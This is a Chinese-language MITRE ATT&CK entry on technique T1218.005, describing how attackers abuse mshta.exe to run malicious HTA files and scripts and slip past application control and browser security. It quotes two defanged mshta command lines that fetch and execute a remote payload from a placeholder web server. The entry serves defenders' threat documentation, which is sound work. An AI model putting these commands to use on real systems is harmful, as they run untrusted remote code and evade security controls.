T1218.005: Mshta

摘要

攻击者可能滥用 mshta.exe 通过受信任的 Windows 实用工具代理执行恶意 .hta 文件以及 Javascript 或 VBScript。存在若干示例，不同类型的威胁在初始入侵期间和代码执行中使用 mshta.exe (Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 文件的实用工具。(Citation: Wikipedia HTML Application) HTA 是使用与 Internet Explorer 相同的模型和技术执行的独立应用程序，但在浏览器之外运行。(Citation: MSDN HTML Applications) 文件可以由 mshta.exe 通过内联脚本执行：<code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> 它们也可以直接从 URL 执行：<code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe 可用于绕过未考虑其潜在用途的应用程序控制解决方案。由于 mshta.exe 在 Internet Explorer 的安全上下文之外执行，它也会绕过浏览器安全设置。(Citation: LOLBAS Mshta)